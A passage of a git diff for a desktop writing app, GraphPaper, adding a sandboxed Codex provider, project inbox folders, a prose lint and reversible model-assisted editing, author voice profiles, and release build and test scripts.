allowance. JEV is a separate optional service; no API key is required for writing.'} + + def login(self): + self.start() + result = self.rpc('account/login/start',{'type':'chatgpt'}) + url = result.get('authUrl','') + if not safe_login_url(url): + raise ProviderError('Codex returned an unexpected sign-in destination. No browser was opened.') + self.login_id = result.get('loginId') + self.login_error = '' + webbrowser.open(url) + return {'started':True,'auth_url':url,'note':'Complete sign-in in your browser, then check connection status. Codex handles the local OAuth callback and credential storage.'} + + def logout(self): + self.start() + self.rpc('account/logout') + return {'signed_in':False} + + def models(self): + self.start() + result = self.rpc('model/list',{'limit':100}) + return [{'id':m.get('model',m.get('id','')),'name':m.get('displayName',m.get('model',''))} for m in result.get('data',[]) if m.get('model') or m.get('id')] + + def complete(self, system, user, model, job=None, max_calls=80): + if not self.status()['signed_in']: + raise ProviderError('Sign in with ChatGPT in Connections before using the Codex provider. API-key sessions are not used by this option.') + if job: + job.before_call('Codex',max_calls) + flags = subprocess.CREATE_NO_WINDOW if os.name == 'nt' else 0 + with tempfile.TemporaryDirectory(prefix='graphpaper-codex-') as temp: + output = Path(temp)/'answer.txt' + args = [self.exe,'exec','--ephemeral','--skip-git-repo-check','--sandbox','read-only','--json', + '-c','approval_policy="never"','-c','features.shell_tool=false','-c','web_search="disabled"', + '-o',str(output),'-'] + if model: + args[-1:-1] = ['--model',model] + prompt = ('You are the prose/structured-output engine inside GraphPaper. This is a text transformation, not a coding task. ' + 'Do not use tools, inspect files, execute commands or access the network. Return only the requested answer.\n\n' + + system + '\n\n' + user) + proc = subprocess.Popen(args,cwd=temp,env=self.env,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE, + text=True,encoding='utf-8',errors='replace',creationflags=flags) + started = time.monotonic() + try: + first = True + while True: + if job: + job.check() + if time.monotonic()-started > 600: + raise ProviderError('Codex exceeded the ten-minute call limit; the previous document remains intact.') + try: + stdout, stderr = proc.communicate(input=prompt if first else None,timeout=.5) + break + except subprocess.TimeoutExpired: + first = False + usage = {} + for line in stdout.splitlines(): + try: + event = json.loads(line) + if event.get('type') == 'turn.completed': + usage = event.get('usage',{}) + except (ValueError,TypeError): + continue + if job: + job.record_usage('Codex subscription',usage,model or 'Codex default') + if proc.returncode or not output.exists(): + raise ProviderError('Codex could not finish this request. Check sign-in, your subscription usage limit, model availability and the runtime version. No API fallback was attempted.') + if output.stat().st_size > 2_000_000: + raise ProviderError('Codex returned an oversized answer.') + text = output.read_text(encoding='utf-8').strip() + if not text: + raise ProviderError('Codex returned an empty answer.') + return text + finally: + if proc.poll() is None: + proc.terminate() + try: + proc.communicate(timeout=5) + except subprocess.TimeoutExpired: + proc.kill();proc.communicate() + + def close(self): + with self.lock: + if self.proc and self.proc.poll() is None: + self.proc.terminate() + try: + self.proc.wait(timeout=4) + except subprocess.TimeoutExpired: + self.proc.kill() + + +def get_codex(root, executable=''): + key = (str(Path(root).resolve()),executable) + with REGISTRY_LOCK: + if key not in REGISTRY: + REGISTRY[key] = Codex(root,executable) + return REGISTRY[key] + + +def close_all(): + for client in list(REGISTRY.values()): + client.close() + REGISTRY.clear() + +atexit.register(close_all) diff --git a/graphpaper/folders.py b/graphpaper/folders.py new file mode 100644 index 0000000..db762f1 --- /dev/null +++ b/graphpaper/folders.py @@ -0,0 +1,152 @@ +"""Per-project workspaces. Local inbox files become sources without cloud calls.""" +from __future__ import annotations +import hashlib +import json +import os +from pathlib import Path +import re +import threading +import time +from .ingest import MAX_BYTES, clean, digest, extract +from .models import Source + +EXTENSIONS = {'.pdf','.docx','.txt','.md','.markdown','.csv','.html','.htm'} +ROLES = {'evidence','canon','inspiration','voice'} + + +def safe_name(value): + text = re.sub(r'[^\w .-]', '_', value, flags=re.UNICODE).strip(' .')[:100] or 'source' + if text.split('.')[0].upper() in {'CON','PRN','AUX','NUL', *[f'COM{i}' for i in range(1,10)], *[f'LPT{i}' for i in range(1,10)]}: + text = '_' + text + return text + + +class ProjectFolders: + def __init__(self, store, runner): + self.store, self.runner = store, runner + self.lock = threading.RLock() + self.observed = {} + + def path(self, project): + if not re.fullmatch(r'p_[a-f0-9]{12}', project.id): + raise ValueError('Invalid project ID for filesystem access.') + parent = self.store.root / 'Projects' + parent.mkdir(exist_ok=True) + if parent.is_symlink() or (hasattr(parent, 'is_junction') and parent.is_junction()): + raise ValueError('Project root must not be a symbolic link or junction.') + folder = parent / project.id + if folder.is_symlink() or (hasattr(folder, 'is_junction') and folder.is_junction()): + raise ValueError('Project folder must not be a symbolic link or junction.') + folder.mkdir(exist_ok=True) + for name in ['Inbox', 'Originals', 'Exports', *['Inbox/'+r.capitalize() for r in sorted(ROLES)]]: + target = folder / name + if target.is_symlink() or (hasattr(target,'is_junction') and target.is_junction()): + raise ValueError('Workspace subfolders must not be links or junctions.') + target.mkdir(exist_ok=True) + readme = folder/'ABOUT THIS PROJECT.txt' + if not readme.exists(): + readme.write_text(f'{project.title}\nGraphPaper project: {project.id}\n\nDrop documents in Inbox (or a role subfolder). They are imported automatically while this project is open and idle, and on the next visit. Files in Inbox/Voice are writing-style samples. Inbox/Canon contains fictional canon. Inbox/Evidence contains citable sources. No AI calls happen during import.\n\nOriginals holds files uploaded through the app. Exports is available for your own work. Removing a file does not silently delete its imported source. Deleting a project in the app leaves this folder intact. SQLite remains the authoritative project store; export a project backup for portability.\n', encoding='utf-8') + return folder + + def original(self, project, source, data=None, filename=None): + with self.lock: + folder = self.path(project)/'Originals' + name = source.id + '-' + safe_name(filename or source.title) + if data is None: + name += '.txt' + data = source.text.encode('utf-8') + target = folder/name + if target.is_symlink(): + raise ValueError('Original-file destination cannot be a symbolic link.') + if not target.exists(): + target.write_bytes(data) + return target + + def info(self, project): + folder = self.path(project) + return {'path': str(folder), 'inbox': str(folder/'Inbox'), 'automatic': project.auto_import, + 'note': 'Checks while the project is open and idle. No cloud calls. Deleting a project does not delete this folder.'} + + def scan(self, project_id, force=False): + with self.runner.lock, self.lock, self.store.lock: + project = self.store.get(project_id) + if self.runner.active(project_id): + return {'project': project.model_dump(), 'events': [], 'busy': True, **self.info(project)} + inbox = self.path(project)/'Inbox' + records = self.store.cache_get('inbox:'+project_id) or {} + events, changed, seen = [], False, set() + count = 0 + # No following symlink/junction directories, including links nested in user folders. + for folder, dirs, names in os.walk(inbox, followlinks=False): + dirs[:] = [d for d in dirs if not d.startswith('.') and not (Path(folder)/d).is_symlink() and not (hasattr(Path(folder)/d,'is_junction') and (Path(folder)/d).is_junction())] + for name in sorted(names): + path = Path(folder)/name + if name.startswith(('.', '~$')) or path.suffix.lower() not in EXTENSIONS: + continue + count += 1 + if count > 150: + events.append({'status':'warning','path':'Inbox','message':'Only the first 150 supported files were checked. Split larger collections.'}) + break + if path.is_symlink() or inbox.resolve() not in path.resolve().parents: + events.append({'status':'error','path':name,'message':'Links outside the project inbox are not imported.'}) + continue + relative = path.relative_to(inbox).as_posix() + seen.add(relative) + old = records.get(relative, {}) + try: + stat = path.stat() + signature = [stat.st_size, stat.st_mtime_ns] + key = (project_id, relative) + observation = self.observed.get(key) + self.observed[key] = signature + if old.get('stat') == signature: + continue + if not force and observation != signature: + continue + if stat.st_size > MAX_BYTES: + raise ValueError('File exceeds 20 MB.') + data = path.read_bytes() + after = path.stat() + if [after.st_size, after.st_mtime_ns] != signature: + continue + binary_hash = hashlib.sha256(data).hexdigest() + if old.get('binary_hash') == binary_hash: + records[relative] = {**old, 'stat':signature} + continue + text, warnings = extract(data, name) + text_hash = digest(text) + first = Path(relative).parts[0].lower() + role = first if first in ROLES else ('canon' if project.mode == 'fiction' else 'evidence') + current = next((s for s in project.sources if s.id == old.get('source_id')), None) + duplicate = next((s for s in project.sources if s.digest == text_hash and s.role == role and s is not current), None) + if duplicate: + source = duplicate + status = 'duplicate' + elif current: + if current.digest != old.get('text_hash'): + raise ValueError('The imported source changed separately. Rename the inbox file to import a new source without overwriting edits.') + current.text, current.digest, current.warnings = text, text_hash, warnings + source, status, changed = current, 'updated', True + else: + if len(project.sources) >= 100: + raise ValueError('Project source limit of 100 reached.') + number = max([int(s.id[1:]) for s in project.sources if re.fullmatch(r'S\d+',s.id)] + [0])+1 + source = Source(id=f'S{number}', title=name, text=text, role=role, kind=path.suffix[1:], digest=text_hash, warnings=warnings) + project.sources.append(source) + status, changed = 'imported', True + records[relative] = {'source_id':source.id,'binary_hash':binary_hash,'text_hash':text_hash,'stat':signature} + events.append({'status':status,'path':relative,'source_id':source.id,'role':source.role}) + except Exception as exc: + events.append({'status':'error','path':relative,'message':str(exc)[:300]}) + if count > 150: + break + for missing in sorted(set(records)-seen): + if not records[missing].get('missing'): + events.append({'status':'retained','path':missing,'message':'File removed; imported source retained.'}) + records[missing]['missing'] = True + if changed: + if project.graph.nodes: + project.graph.warnings = list(dict.fromkeys(project.graph.warnings + ['Sources changed after the last graph build. Rebuild before relying on coverage.'])) + project = self.store.save(project, project.version) + self.store.cache_put('inbox:'+project_id, records) + return {'project': project.model_dump(), 'events':events, 'changed':changed, **self.info(project)} diff --git a/graphpaper/polish.py b/graphpaper/polish.py new file mode 100644 index 0000000..90ba1a3 --- /dev/null +++ b/graphpaper/polish.py @@ -0,0 +1,97 @@ +"""Prose craft tools: explainable local lint plus reversible model-assisted edits.""" +from __future__ import annotations +from collections import Counter +import difflib +import hashlib +import json +import re +from .voice import metrics, voice_context + +# Independent editorial heuristics informed by the projects credited in docs/UPDATE-0.2.md. +RULES = [ + ('staged-opening', r"\b(?:let['’]s (?:dive in|delve|explore)|without further ado|here['’]s what you need to know|in today['’]s (?:fast[- ]paced|rapidly evolving|digital) (?:world|landscape))\b", 'Open with the actual point rather than announcing it.'), + ('empty-emphasis', r'\b(?:a testament to|pivotal moment|plays a (?:crucial|vital|key) role|cannot be overstated|game[- ]changer|revolutionary breakthrough)\b', 'Replace inflated importance with a supported mechanism or consequence.'), + ('staged-contrast', r"\bnot (?:just|merely|only)\b[^.!?\n]{1,150}\bbut\b", 'Keep this contrast only when both halves do real argumentative work.'), + ('vague-authority', r'\b(?:experts agree|studies show|research suggests|many believe|it is widely (?:known|believed))\b', 'Name the source or keep the attribution appropriately limited.'), + ('stock-transition', r'(?m)^\s*(?:Moreover|Furthermore|Additionally|In conclusion|In summary|To sum up)[,:]', 'Check whether the transition adds meaning or repeats a template.'), + ('stacked-hedges', r'\b(?:could potentially|might possibly|may perhaps|potentially possibly)\b', 'Remove redundant qualifiers, not genuine scientific uncertainty.'), + ('filler', r'\b(?:it is (?:important|worthwhile|essential) to (?:note|mention|remember)|at the end of the day|in order to|the fact of the matter is)\b', 'Say the useful part directly.'), + ('empty-closer', r'\b(?:let that sink in|read that again|that is the real (?:win|lesson)|the future is bright|only time will tell)\b', 'End with a concrete development, not a repeated moral.'), + ('corporate-language', r'\b(?:leverage synergies|unlock (?:the )?(?:full )?potential|seamless integration|holistic approach|ever[- ]evolving landscape|rich tapestry)\b', 'Prefer the exact action, relationship or image.'), + ('chat-wrapper', r"(?m)^\s*(?:Certainly!|Absolutely!|Here is (?:the|your) (?:revised|rewritten)|I hope this helps)", 'Remove chat scaffolding from the manuscript.'), +] +PROTECTED = re.compile(r'(?ms)```.*?```|~~~.*?~~~|^---\n.*?\n---(?=\n|$)|^>[^\n]*(?:\n>[^\n]*)*|`[^`\n]+`|\[[^\]\n]*\]\([^\)\n]+\)|\[S\d+\]|https?://[^\s<>]+|“[^”]+”|"[^"\n]+"|(?= 160: + break + paragraphs = [p.strip() for p in re.split(r'\n\s*\n', prose) if p.strip()] + openings = Counter(' '.join(re.findall(r'\w+', p.lower())[:3]) for p in paragraphs) + repeated = [k for k, count in openings.items() if count >= 3 and len(k.split()) == 3] + return {'findings': findings[:160], 'count': len(findings), 'repeated_openings': repeated[:15], 'metrics': metrics(text), + 'note': 'Editorial cues, not AI-authorship detection. Deliberate repetition, dashes, formal vocabulary and genuine uncertainty may be correct. English-specific phrase cues; the model edit can work in the manuscript language.'} + + +def polish_draft(project, clients, job, mode, instruction=''): + from .pipeline import BOUNDARY + from .models import PolishCandidate, now + from .providers import ProviderError + if mode not in {'humanize', 'deslop', 'both'}: + raise ValueError('Unknown prose edit mode.') + original = project.draft + if not original.strip(): + raise ValueError('Write or generate a draft first.') + before = lint(original) + masked, saved = mask(original) + job.note('Inspecting prose habits and preserving quotations, citations, numbers, links and code.', 10) + task = ('HUMANIZE: make this sound like the author, with purposeful rhythm, natural syntax and concrete existing detail. ' + if mode == 'humanize' else 'DESLOP: remove filler, repeated conclusions, stock emphasis, staged contrasts, vague authority and templated cadence. ' + if mode == 'deslop' else 'HUMANIZE AND DESLOP: remove formulaic filler while restoring the author’s natural rhythm and specificity. ') + prompt = {'task': task + 'Return the complete revised Markdown only. Use the same language. Preserve every material claim, uncertainty, causal direction, named entity, narrator, character motivation and intended ending. Do not invent personal experiences, facts, anecdotes, evidence or additional scenes. Do not mechanically ban punctuation or replace every formal word. Author samples override generic style rules. Every GPKEEP marker must remain exactly once, in its correct semantic position. Markers conceal protected spans; do not rewrite, renumber or infer new contents for them.', + 'mode': project.mode, 'brief': project.brief.model_dump(), 'voice': voice_context(project), + 'author_instruction': instruction, 'lint': before, 'draft': masked} + candidate = clients.complete(BOUNDARY, json.dumps(prompt, ensure_ascii=False), role='editor') + candidate = unmask(candidate, saved) + if Counter(m.group(0) for m in PROTECTED.finditer(original)) != Counter(m.group(0) for m in PROTECTED.finditer(candidate)): + raise ProviderError('The proposed edit introduced or altered protected factual material. Original preserved.') + if len(candidate.strip()) < max(20, len(original.strip()) * .3): + raise ProviderError('The proposed edit discarded too much of the manuscript. Original preserved.') + job.note('Checking the edit for meaning drift before presenting it beside the original.', 65) + review = clients.complete(BOUNDARY, json.dumps({'task': 'Compare original and proposed prose edit. Identify factual/semantic drift, altered named entities, lost qualifiers or reordered citations that no longer support their claims. For fiction also check narrator, scene events, motivation and ending. Judge fidelity separately from fluency. Return an honest review. Do not rewrite.', 'mode': project.mode, 'original': original, 'candidate': candidate, + 'schema': {'meaning_preserved': True, 'summary': 'Specific editorial assessment', 'warnings': ['Concrete risks or unresolved differences'], 'improvements': ['Specific changes']}}, ensure_ascii=False), role='editor', json_mode=True) + if not isinstance(review.get('meaning_preserved'), bool): + raise ProviderError('The edit reviewer did not provide a valid fidelity assessment. Original preserved.') + project.polish = PolishCandidate(mode=mode, original_hash=hashlib.sha256(original.encode()).hexdigest(), draft=candidate, + created=now(), review=review, before=before, after=lint(candidate), protected_spans=len(saved), + diff=list(difflib.unified_diff(original.splitlines(), candidate.splitlines(), fromfile='Original', tofile='Proposed', lineterm=''))[:12000]) + job.note('Proposed edit ready. Compare the versions and explicitly accept or discard it.', 95) diff --git a/graphpaper/studio_routes.py b/graphpaper/studio_routes.py new file mode 100644 index 0000000..684a407 --- /dev/null +++ b/graphpaper/studio_routes.py @@ -0,0 +1,113 @@ +"""Author voice, project inbox, prose editing and Codex UI endpoints.""" +from __future__ import annotations +import hashlib +import os +import subprocess +import sys +from fastapi import Request +from starlette.concurrency import run_in_threadpool +from .models import Review +from .storage import Conflict +from .folders import ProjectFolders +from .polish import lint +from .voice import fingerprint, metrics, samples + + +def install(app, store, vault, runner, settings): + folders = ProjectFolders(store,runner) + app.state.folders = folders + + @app.get('/api/projects/{pid}/workspace') + def workspace(pid: str): + p = store.get(pid) + return folders.info(p) + + @app.post('/api/projects/{pid}/workspace/scan') + async def scan(pid: str, request: Request): + raw = await request.json() + return await run_in_threadpool(folders.scan,pid,bool(raw.get('force',False))) + + @app.post('/api/projects/{pid}/workspace/open') + def open_folder(pid: str): + folder = folders.path(store.get(pid)) + if sys.platform == 'win32': + os.startfile(str(folder)) + elif sys.platform == 'darwin': + subprocess.Popen(['open',str(folder)]) + elif os.getenv('DISPLAY'): + subprocess.Popen(['xdg-open',str(folder)],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL) + else: + return {'opened':False,'path':str(folder)} + return {'opened':True,'path':str(folder)} + + @app.get('/api/projects/{pid}/voice') + def voice(pid: str): + p = store.get(pid) + return {'profile':p.voice_profile.model_dump(),'samples':[{'id':s.id,'title':s.title,'url':s.url,'metrics':metrics(s.text)} for s in samples(p)], + 'stale':bool(p.voice_profile.sample_hash and p.voice_profile.sample_hash!=fingerprint(p))} + + @app.post('/api/voice/discover') + async def discover(request: Request): + from .author_web import discover + raw = await request.json() + return await run_in_threadpool(discover,str(raw.get('url',''))) + + @app.post('/api/projects/{pid}/craft/audit') + def audit(pid: str): + return lint(store.get(pid).draft) + + @app.post('/api/projects/{pid}/craft/accept') + async def accept(pid: str, request: Request): + raw = await request.json() + with runner.lock, store.lock: + if runner.active(pid): + raise ValueError('Finish or cancel the current job first.') + p = store.get(pid) + if raw.get('version') != p.version: + raise Conflict('The project changed. Refresh and compare the current draft before applying an edit.') + candidate = p.polish + if not candidate or candidate.original_hash != hashlib.sha256(p.draft.encode()).hexdigest(): + raise Conflict('The draft changed since this edit was proposed. Generate a fresh edit; nothing was overwritten.') + if not candidate.review.get('meaning_preserved') and not raw.get('acknowledge_warnings',False): + raise ValueError('The reviewer flagged meaning changes. Check the comparison and explicitly acknowledge those warnings before applying.') + store.snapshot(p,'Before '+candidate.mode) + p.draft = candidate.draft + p.polish = None + p.review = Review() + p = store.save(p,p.version) + store.snapshot(p,'Accepted prose edit') + return p + + @app.post('/api/projects/{pid}/craft/discard') + async def discard(pid: str, request: Request): + raw = await request.json() + with runner.lock, store.lock: + p = store.get(pid) + if runner.active(pid): + raise ValueError('Finish or cancel the current job first.') + if raw.get('version') != p.version: + raise Conflict('The project changed. Refresh before discarding this candidate.') + p.polish = None + return store.save(p,p.version) + + def codex(): + from .codex import get_codex + return get_codex(store.root,settings().codex_executable) + + @app.get('/api/codex/status') + async def codex_status(): + from .providers import ProviderError + try: + return await run_in_threadpool(lambda:codex().status()) + except ProviderError as e: + return {'installed':False,'signed_in':False,'error':str(e)} + + @app.post('/api/codex/login') + async def codex_login(): + return await run_in_threadpool(lambda:codex().login()) + + @app.post('/api/codex/logout') + async def codex_logout(): + if any(j.state in {'queued','running'} for j in runner.jobs.values()): + raise ValueError('Finish or cancel active jobs before signing out.') + return await run_in_threadpool(lambda:codex().logout()) diff --git a/graphpaper/voice.py b/graphpaper/voice.py new file mode 100644 index 0000000..3929664 --- /dev/null +++ b/graphpaper/voice.py @@ -0,0 +1,82 @@ +"""Author-controlled voice profiles. Samples guide style, never factual support.""" +from __future__ import annotations +import hashlib +import json +import re +import statistics +from .models import now + + +def samples(project): + return [s for s in project.sources if s.enabled and s.role == 'voice'] + + +def fingerprint(project): + return hashlib.sha256(json.dumps([(s.id, hashlib.sha256(s.text.encode()).hexdigest()) for s in samples(project)]).encode()).hexdigest() + + +def metrics(text): + words = re.findall(r"\b[\w]+(?:['’][\w]+)?\b", text) + sentences = [len(re.findall(r'\w+', s)) for s in re.split(r'[.!?]+(?:\s|$)', text) if re.search(r'\w', s)] + paragraphs = [len(re.findall(r'\w+', s)) for s in re.split(r'\n\s*\n', text) if s.strip()] + return {'words': len(words), 'sentences': len(sentences), 'mean_sentence_words': round(statistics.mean(sentences), 1) if sentences else 0, + 'sentence_variation': round(statistics.pstdev(sentences), 1) if sentences else 0, + 'mean_paragraph_words': round(statistics.mean(paragraphs), 1) if paragraphs else 0, + 'questions_per_1000_words': round(text.count('?') * 1000 / max(1, len(words)), 1), + 'dashes_per_1000_words': round(len(re.findall('[—–]', text)) * 1000 / max(1, len(words)), 1)} + + +def sample_pack(project, budget=24000): + """Balanced start/middle/end excerpts, not just the first article's introduction.""" + selected = samples(project) + if not selected: + return [] + selected = selected[:24] + per_source = max(200, budget // len(selected)) + result = [] + for s in selected: + if len(s.text) <= per_source: + excerpts = [s.text] + else: + width = per_source // 3 + middle = max(0, len(s.text)//2 - width//2) + excerpts = [s.text[:width], s.text[middle:middle+width], s.text[-width:]] + result.append({'source_id': s.id, 'title': s.title, 'excerpts': excerpts}) + return result + + +def voice_context(project, budget=9000): + profile = project.voice_profile + if not profile.enabled or profile.strength == 0: + return {'enabled': False} + stale = bool(profile.sample_hash and profile.sample_hash != fingerprint(project)) + return {'enabled': True, 'influence_percent': profile.strength, + 'instructions': profile.instructions if not stale else '', + 'profile_needs_refresh': stale, + 'samples': sample_pack(project, budget), + 'rule': 'Match authorial choices, rhythm, diction and wit, not specific sentences or personal experiences. Samples are style material only, not facts. Preserve deliberate literary devices and the brief. Do not invent lived experience. A stale profile is ignored; current samples still guide style.'} + + +def learn_voice(project, clients, job): + from .providers import ProviderError + from .pipeline import BOUNDARY + from .models import VoiceProfile + material = samples(project) + if not material: + raise ValueError('Add writing samples using the Voice role first.') + if sum(len(s.text.split()) for s in material) < 80: + raise ValueError('Use at least 80 words of your writing; several full pieces produce a more representative profile.') + job.note('Learning rhythm, diction, structure and rhetorical habits from your selected writing.', 15) + budget = min(28000, max(4000, clients.settings.context_chars - 9000)) + raw = clients.complete(BOUNDARY, + json.dumps({'task': 'Build an editable author voice profile from these samples. Observe prose mechanics, not personality, identity, factual beliefs or biography. Distinguish recurring choices from one-off subject matter. Preserve nuanced qualifiers and intentional punctuation; do not impose a generic casual style. Produce instructions usable for both new writing and faithful editing. Note limited or mixed evidence. Do not quote or copy distinctive sample sentences.', + 'samples': sample_pack(project, budget), 'measured_style': [metrics(s.text) for s in material], + 'output_schema': {'name': 'Short author voice label', 'instructions': 'Specific prose guidance with headings for rhythm, diction, structure, stance, humor, imagery, punctuation, fiction/nonfiction differences and avoidances.', 'observations': ['Short, evidence-limited observations']}}, ensure_ascii=False), + role='extraction', json_mode=True) + if not isinstance(raw.get('instructions'), str) or len(raw['instructions'].strip()) < 30: + raise ProviderError('The model did not return a usable voice profile. Existing profile preserved.') + project.voice_profile = VoiceProfile(name=str(raw.get('name', 'My writing voice'))[:160], instructions=raw['instructions'][:12000], + enabled=True, strength=project.voice_profile.strength, sample_ids=[s.id for s in material], sample_hash=fingerprint(project), + learned_at=now(), metrics=metrics('\n\n'.join(s.text for s in material)), + observations=[str(x)[:500] for x in raw.get('observations', [])[:12]]) + job.note('Voice profile ready. Edit it, adjust its influence, or switch it off.', 95) diff --git a/scripts/build_release.ps1 b/scripts/build_release.ps1 new file mode 100644 index 0000000..81a4c68 --- /dev/null +++ b/scripts/build_release.ps1 @@ -0,0 +1,20 @@ +$ErrorActionPreference = 'Stop' +Set-Location (Join-Path $PSScriptRoot '..') +python -m pip install -q -r requirements-desktop.txt 'pyinstaller>=6.16,<7' +if ($LASTEXITCODE -ne 0) { throw 'Dependency installation failed.' } +python scripts/bundle_codex.py +if ($LASTEXITCODE -ne 0) { throw 'Official Codex runtime verification failed.' } +python scripts/check_codex.py +if ($LASTEXITCODE -ne 0) { throw 'Codex runtime protocol check failed.' } +python -m PyInstaller --noconfirm --clean --windowed --onedir --name GraphPaper --paths . --icon ui/graphpaper.ico --add-data 'ui;ui' --add-data 'vendor;vendor' --collect-all webview scripts/desktop_entry.py +if ($LASTEXITCODE -ne 0) { throw 'Windows desktop build failed.' } +Copy-Item README.md, LICENSE -Destination dist/GraphPaper/ +Copy-Item docs/UPDATE-0.2.md -Destination dist/GraphPaper/WHATS-NEW.md +python scripts/check_package.py dist/GraphPaper +if ($LASTEXITCODE -ne 0) { throw 'Compiled application self-test failed.' } +$version = python -c "from graphpaper import __version__; print(__version__)" +$zip = "dist/GraphPaper-v$version-Windows-x64.zip" +Compress-Archive -Path dist/GraphPaper -DestinationPath $zip -Force +$hash = (Get-FileHash $zip -Algorithm SHA256).Hash.ToLower() +"$hash GraphPaper-v$version-Windows-x64.zip" | Set-Content -Encoding ascii "dist/SHA256SUMS.txt" +Write-Host "Built $zip" diff --git a/scripts/bundle_codex.py b/scripts/bundle_codex.py new file mode 100644 index 0000000..6d68d38 --- /dev/null +++ b/scripts/bundle_codex.py @@ -0,0 +1,77 @@ +"""Fetch the official Windows Codex runtime, verify GitHub's asset digest, keep provenance.""" +from __future__ import annotations +import hashlib +import json +import os +from pathlib import Path +import shutil +import tarfile +import tempfile +import urllib.request +import urllib.error +from urllib.parse import urlsplit +import zipfile + +ROOT=Path(__file__).resolve().parents[1] + + +def get(url): + headers={'User-Agent':'GraphPaper-release-builder','Accept':'application/vnd.github+json'} + if urlsplit(url).hostname=='api.github.com' and os.getenv('GITHUB_TOKEN'): + headers['Authorization']='Bearer '+os.environ['GITHUB_TOKEN'] + return urllib.request.urlopen(urllib.request.Request(url,headers=headers),timeout=90) + + +def main(): + version=os.getenv('CODEX_RELEASE_TAG','latest') + api='https://api.github.com/repos/openai/codex/releases/'+('latest' if version=='latest' else 'tags/'+version) + with get(api) as r:release=json.load(r) + if release.get('prerelease') or release.get('draft'): + raise ValueError('Only an official stable Codex release may be bundled.') + assets=release['assets'];tag=release['tag_name'] + destination=ROOT/'vendor';destination.mkdir(exist_ok=True) + provenance={'repository':'openai/codex','release':tag,'release_url':release['html_url'],'assets':[]} + for stem,required in [('codex',True),('codex-command-runner',False),('codex-windows-sandbox-setup',False)]: + matches=[a for a in assets if a['name'].startswith(stem+'-x86_64-pc-windows-msvc') and a['name'].endswith(('.tar.gz','.zip'))] + if not matches: + if required:raise ValueError('Official Windows x64 Codex archive not found.') + continue + asset=sorted(matches,key=lambda a:a['name'])[0] + expected=asset.get('digest','') + if not expected.startswith('sha256:'): + raise ValueError('GitHub did not supply a SHA-256 digest for '+asset['name']) + url=asset['browser_download_url'] + if not url.startswith('https://github.com/openai/codex/releases/download/'): + raise ValueError('Unexpected release download URL.') + with tempfile.TemporaryDirectory() as tmp: + archive=Path(tmp)/asset['name'];hasher=hashlib.sha256();size=0 + with get(url) as source,archive.open('wb') as out: + while chunk:=source.read(1024*1024): + size+=len(chunk) + if size>300*1024*1024:raise ValueError('Runtime archive exceeds 300 MB.') + hasher.update(chunk);out.write(chunk) + if hasher.hexdigest()!=expected.split(':',1)[1]:raise ValueError('Codex runtime checksum mismatch.') + if archive.name.endswith('.zip'): + with zipfile.ZipFile(archive) as z: + names=[n for n in z.namelist() if n.lower().endswith('.exe') and Path(n).name.startswith(stem)] + if not names:raise ValueError('Missing runtime executable.') + data=z.read(names[0]) + else: + with tarfile.open(archive,'r:gz') as t: + members=[m for m in t.getmembers() if m.isfile() and m.name.lower().endswith('.exe') and Path(m.name).name.startswith(stem)] + if not members:raise ValueError('Missing runtime executable.') + with t.extractfile(members[0]) as source:data=source.read(400*1024*1024+1) + if len(data)>400*1024*1024:raise ValueError('Expanded runtime exceeds limit.') + (destination/(stem+'.exe')).write_bytes(data) + provenance['assets'].append({'name':asset['name'],'download_url':url,'archive_sha256':expected.split(':',1)[1], + 'executable':stem+'.exe','executable_sha256':hashlib.sha256(data).hexdigest()}) + for filename in ['LICENSE','NOTICE']: + try: + with get(f'https://raw.githubusercontent.com/openai/codex/{tag}/{filename}') as r:text=r.read(100_000) + (destination/(filename+'.Codex.txt')).write_bytes(text) + except urllib.error.HTTPError as e: + if filename=='LICENSE' or e.code!=404:raise + (destination/'codex-release.json').write_text(json.dumps(provenance,indent=2)+'\n',encoding='utf-8') + print(json.dumps(provenance,indent=2)) + +if __name__=='__main__':main() diff --git a/scripts/check_codex.py b/scripts/check_codex.py new file mode 100644 index 0000000..85abec3 --- /dev/null +++ b/scripts/check_codex.py @@ -0,0 +1,24 @@ +"""Live-runtime, signed-out protocol check. Does not authenticate or make a model call.""" +from pathlib import Path +import json +import subprocess +import sys +import tempfile +ROOT=Path(__file__).resolve().parents[1] +sys.path.insert(0,str(ROOT)) +from graphpaper.codex import Codex + +runtime=ROOT/'vendor/codex.exe' +version=subprocess.check_output([str(runtime),'--version'],text=True,timeout=20).strip() +help_text=subprocess.check_output([str(runtime),'exec','--help'],text=True,timeout=20) +for flag in ['--ephemeral','--json','--sandbox','--output-last-message']: + assert flag in help_text, 'Required runtime option missing: '+flag +with tempfile.TemporaryDirectory() as tmp: + c=Codex(Path(tmp),str(runtime)) + try: + status=c.status() + assert status['installed'] and not status['signed_in'],status + finally:c.close() +report={'ok':True,'version':version,'unauthenticated_app_server_handshake':True,'live_model_call':False,'browser_oauth_completed':False} +path=ROOT/'test-results/codex-runtime.json';path.parent.mkdir(exist_ok=True);path.write_text(json.dumps(report,indent=2),encoding='utf-8') +print(json.dumps(report,indent=2)) diff --git a/scripts/ui_studio_smoke.py b/scripts/ui_studio_smoke.py new file mode 100644 index 0000000..0537238 --- /dev/null +++ b/scripts/ui_studio_smoke.py @@ -0,0 +1,151 @@ +"""GraphPaper 0.2 UI checks. HTTP in CI; explicit in-process bridge on restricted hosts.""" +from __future__ import annotations +import argparse +import base64 +import json +from pathlib import Path +import socket +import sys +import tempfile +import threading +import time +import traceback +ROOT=Path(__file__).resolve().parents[1] +sys.path.insert(0,str(ROOT)) +from fastapi.testclient import TestClient +from graphpaper.server import create_app +from graphpaper.models import Settings +from tests.conftest import ScriptedClients +from playwright.sync_api import sync_playwright + + +class StudioClients(ScriptedClients): + def complete(self,system,user,**kwargs): + try:raw=json.loads(user) + except ValueError:return super().complete(system,user,**kwargs) + task=raw.get('task','') + if task.startswith('Build an editable author voice'): + self._record('voice') + return {'name':'Precise and personal','instructions':'Use direct verbs and varied sentence length. Keep humor dry; preserve uncertainty when it matters.','observations':['The samples favor concrete verbs.']} + if task.startswith(('HUMANIZE','DESLOP')): + self._record('polish') + return raw['draft'].replace('It is important to note that ','') + if task.startswith('Compare original and proposed prose'): + self._record('polish-review') + return {'meaning_preserved':True,'summary':'Removed filler while preserving the claim.','warnings':[],'improvements':['Direct opening.']} + return super().complete(system,user,**kwargs) + + +def wait(page,action): + deadline=time.monotonic()+20 + while time.monotonic() state.job && ({state:state.job.state,action:state.job.action,error:state.job.error})') + if status and status['action']==action: + if status['state']=='completed':return + if status['state']=='failed':raise AssertionError(status) 